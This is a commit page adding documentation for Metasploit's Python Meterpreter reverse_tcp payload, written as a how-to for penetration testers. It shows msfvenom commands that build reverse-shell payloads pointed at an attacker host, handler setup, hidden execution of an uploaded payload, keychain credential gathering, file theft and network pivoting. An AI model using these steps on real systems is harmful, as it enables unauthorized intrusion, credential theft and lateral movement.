Skip to content

Commit 4ec6923

Browse files
committed
Add module documentation for python/meterpreter/reverse_tcp
1 parent 74b4087 commit 4ec6923

File tree

2 files changed

+358
-1
lines changed

2 files changed

+358
-1
lines changed
Lines changed: 357 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,357 @@
1+
python/meterpreter/reverse_tcp allows you to remotely control the compromised system. It is a
2+
unique payload to the Metasploit Framework, because it is cross-platform. And since Python is
3+
a very popular programming language, some operating systems such as Ubuntu even support it
4+
by default.
5+
6+
When using an exploit, using a cross-platform payload like python/meterpreter/reverse_tcp also
7+
means you don't need to worry about which target/platform to select, the payload should work
8+
for all of them.
9+
10+
## Vulnerable Application
11+
12+
The Python Meterpreter is suitable for any systems that support Python. Some operating
13+
systems such as Ubuntu, Debian, Arch Linux, and OS X have it by default.
14+
15+
## Deploying python/meterpreter/reverse_tcp
16+
17+
python/meterpreter/reverse_tcp is typically used in two different ways.
18+
19+
First, it can be used with an exploit as long as the Python platform is supported. This sort
20+
of information usually can be found when you use the ```info``` command like this:
21+
22+
```
23+
msf exploit(ms14_064_packager_python) > info
24+
25+
Name: MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
26+
Module: exploit/windows/fileformat/ms14_064_packager_python
27+
Platform: Python
28+
Privileged: No
29+
License: Metasploit Framework License (BSD)
30+
Rank: Excellent
31+
Disclosed: 2014-11-12
32+
33+
.... more info here ...
34+
```
35+
36+
Or, you can check the exploit's target list by doing ```show targets```, there might be Python
37+
on the list.
38+
39+
If your exploit supports Python, here is how to load it:
40+
41+
1. In msfconsole, select the exploit.
42+
2. Configure the options for that exploit.
43+
3. Do: ```set PAYLOAD python/meterpreter/reverse_tcp```
44+
4. Set the ```LHOST``` datastore option, which is the [IP that the payload should connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
45+
5. Do ```exploit```. If the exploit is successful, it should execute that payload.
46+
47+
Another way to use the Python Meterpreter is to generate it as a Python file. Normally, you would
48+
want to do this with msfvenom, like this:
49+
50+
```
51+
./msfvenom -p python/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/python.py
52+
```
53+
54+
## Important Basic Commands
55+
56+
Compare to a native Meterpreter such as windows/meterpreter/reverse_tcp, the Python Meterpreter
57+
has less commands, but here's a list of all the common ones you might need:
58+
59+
**pwd command**
60+
61+
The ```pwd``` command tells you the current working directory. For example:
62+
63+
```
64+
meterpreter > pwd
65+
/Users/sinn3r/Desktop
66+
```
67+
68+
**cd command**
69+
70+
The ```cd``` command allows you to change directories. Example:
71+
72+
```
73+
meterpreter > cd /Users/sinn3r/Desktop
74+
meterpreter > pwd
75+
/Users/sinn3r/Desktop
76+
```
77+
78+
**cat command**
79+
80+
The ```cat``` command allows you to see the content of a file:
81+
82+
```
83+
meterpreter > cat /tmp/data.txt
84+
Hello World!
85+
```
86+
87+
**upload command**
88+
89+
The ```upload``` command allows you to upload a file to the remote target. For example:
90+
91+
```
92+
meterpreter > upload /tmp/data.txt /Users/sinn3r/Desktop
93+
[*] uploading : /tmp/data.txt -> /Users/sinn3r/Desktop
94+
[*] uploaded : /tmp/data.txt -> /Users/sinn3r/Desktop/data.txt
95+
meterpreter >
96+
```
97+
98+
**download command**
99+
100+
The ```download``` command allows you to download a file from the remote target to your machine.
101+
For example:
102+
103+
```
104+
meterpreter > download /Users/sinn3r/Desktop/data.txt /tmp/pass.txt
105+
[*] downloading: /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
106+
[*] download : /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
107+
meterpreter >
108+
```
109+
110+
**search command**
111+
112+
The ```search``` command allows you to find files on the remote file system. For example,
113+
this shows how to find all text files in the current directory:
114+
115+
```
116+
meterpreter > search -d . -f *.txt
117+
Found 2 results...
118+
.\pass.txt (13 bytes)
119+
./creds\data.txt (83 bytes)
120+
meterpreter >
121+
```
122+
123+
Without the ```-d``` option, the command will attempt to search in all drives.
124+
125+
The ```-r``` option for the command allows you to search recursively.
126+
127+
128+
**getuid command**
129+
130+
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
131+
132+
```
133+
meterpreter > getuid
134+
Server username: root
135+
```
136+
137+
**execute command**
138+
139+
The ```execute``` command allows you to execute a command or file on the remote machine.
140+
141+
The following examples uses the command to create a text file:
142+
143+
```
144+
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
145+
Process 73642 created.
146+
meterpreter >
147+
```
148+
149+
**ps command**
150+
151+
The ```ps``` command lists the running processes on the remote machine.
152+
153+
**shell command**
154+
155+
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
156+
For example:
157+
158+
```
159+
meterpreter > shell
160+
Process 74513 created.
161+
Channel 2 created.
162+
sh-3.2#
163+
```
164+
165+
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
166+
167+
**sysinfo**
168+
169+
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
170+
171+
* Computer name
172+
* OS name
173+
* Architecture
174+
* Meterpreter type
175+
176+
## Using a Post Module
177+
178+
One of the best things about Meterprter is you have access to a variety of post modules that
179+
"shell" sessions might not have. Post modules provide you with more capabilities to collect
180+
data from the remote machine automatically. For example, stealing credentials from the system
181+
or third-party applications, or modify settings, etc.
182+
183+
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
184+
is an example of collecting OS X keychain information using the enum_keychain post module:
185+
186+
```
187+
meterpreter > run post/osx/gather/enum_keychain
188+
189+
[*] The following keychains for root were found:
190+
"/Users/sinn3r/Library/Keychains/login.keychain"
191+
"/Library/Keychains/System.keychain"
192+
[+] 192.168.1.209:58023 - Keychain information saved in /Users/sinn3r/.msf4/loot/20160705211412_http_192.168.1.209_macosx.keychain._271980.txt
193+
meterpreter >
194+
```
195+
196+
## Using the Post Exploitation API in IRB
197+
198+
To enter IRB, do the following at the Meterpreter prompt:
199+
200+
```
201+
meterpreter > irb
202+
[*] Starting IRB shell
203+
[*] The 'client' variable holds the meterpreter client
204+
205+
>>
206+
```
207+
208+
**The client object**
209+
210+
The client object in Meterpreter allows you to control or retrieve information about the host. For
211+
example, this allows you to get the current privilege our payload is running as:
212+
213+
```
214+
>> client.sys.config.getuid
215+
=> "root"
216+
```
217+
218+
To explore the client object, there are a few tricks. For example, you can use the #inspect method
219+
to inspect it:
220+
221+
```
222+
>> client.inspect
223+
```
224+
225+
You can also use the #methods method to see what methods you can use:
226+
227+
```
228+
>> client.methods
229+
```
230+
231+
To review the source of the method, you can use the #source_location method. For example, say we
232+
want to see the source code for the #getuid method:
233+
234+
```
235+
>> client.sys.config.method(:getuid).source_location
236+
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
237+
```
238+
239+
The first element of the array is the location of the file. The second is the line number of
240+
the method.
241+
242+
**Railgun**
243+
244+
If you are familiar with using the post exploitation API for Windows, you probably know about
245+
Railgun. Unfortunately, Railgun is not available in Python Meterpreters.
246+
247+
## Switching to a Native Meterpreter
248+
249+
The Python Meterpreter currently does not quite have the same strength as a native Meterpreter,
250+
therefore there are times you will want to migrate to a native one to expose yourself with more
251+
features.
252+
253+
There are many ways to migrate to a native Meterpreter, some common approaches:
254+
255+
**Example 1: Upload and Execute**
256+
257+
Step 1: Produce a native Meterpreter, such as:
258+
259+
```
260+
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=5555 -f exe -o /tmp/native.exe
261+
```
262+
263+
Step 2: Start another handler for the native payload:
264+
265+
```
266+
./msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST [IP]; set LPORT 5555; run"
267+
```
268+
269+
Step 3: Upload the native via the Python Meterpreter session:
270+
271+
```
272+
meterpreter > upload /tmp/native.exe C:\\Users\\sinn3r\\Desktop
273+
[*] uploading : /tmp/native.exe -> C:\Users\sinn3r\Desktop
274+
[*] uploaded : /tmp/native.exe -> C:\Users\sinn3r\Desktop\native.exe
275+
meterpreter >
276+
```
277+
278+
Step 4: Execute the native payload:
279+
280+
```
281+
meterpreter > execute -H -f C:\\Users\\sinn3r\\Desktop\\native.exe
282+
Process 2764 created.
283+
```
284+
285+
And then your other handler (for the native payload) should receive that session:
286+
287+
```
288+
[*] Starting the payload handler...
289+
[*] Sending stage (957999 bytes) to 192.168.1.220
290+
[*] Meterpreter session 1 opened (192.168.1.209:5555 -> 192.168.1.220:49306) at 2016-07-05 21:48:04 -0500
291+
292+
meterpreter > sysinfo
293+
Computer : WIN-6NH0Q8CJQVM
294+
OS : Windows 7 (Build 7601, Service Pack 1).
295+
Architecture : x86
296+
System Language : en_US
297+
Domain : WORKGROUP
298+
Logged On Users : 2
299+
Meterpreter : x86/win32
300+
meterpreter >
301+
```
302+
303+
**Example 2: Using exploit/multi/script/web_delivery**
304+
305+
Another way to migrate to a native Meterpreter is by using the exploit/multi/script/web_delivery
306+
module. To learn how, please read the module documentation for that module.
307+
308+
## Routing through the portfwd command
309+
310+
The portfwd command allows you to talk to a remote service like it's local. For example, if you
311+
cannot talk to the SMB service remotely on the compromised host because it is firewalled, then
312+
you can use portfwd to establish that tunnel:
313+
314+
```
315+
meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.220
316+
[*] Local TCP relay created: :445 <-> 192.168.1.220:445
317+
meterpreter > portfwd
318+
319+
Active Port Forwards
320+
====================
321+
322+
Index Local Remote Direction
323+
----- ----- ------ ---------
324+
1 0.0.0.0:445 192.168.1.220:445 Forward
325+
```
326+
327+
And then talk to it like it's a local service:
328+
329+
```
330+
msf auxiliary(smb_version) > run
331+
332+
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601)
333+
[*] Scanned 1 of 1 hosts (100% complete)
334+
[*] Auxiliary module execution completed
335+
```
336+
337+
## Routing through msfconsole
338+
339+
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
340+
allows you to connect to hosts on a different network through the compromised machine.
341+
342+
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
343+
344+
```
345+
meterpreter > ipconfig
346+
```
347+
348+
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Back to the msf prompt,
349+
and establish that route:
350+
351+
```
352+
msf > route add 192.168.1.0 255.255.255.0 1
353+
```
354+
355+
At that point, you should have a working pivot. You can use other Metasploit modules to explore
356+
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
357+
other third-party tools to do the same.

documentation/modules/payload/windows/meterpreter/reverse_tcp.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -580,7 +580,7 @@ The route command in Meterpreter allows you change the routing table that is on
580580
The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:
581581

582582
```
583-
meterpreter > portfwd add –l 3389 –p 3389 –r > target host >
583+
meterpreter > portfwd add –l 3389 –p 3389 –r [Target Host]
584584
```
585585

586586
And that should allow you to connect to remote desktop this way on the attacker's box:

0 commit comments

Comments
 (0)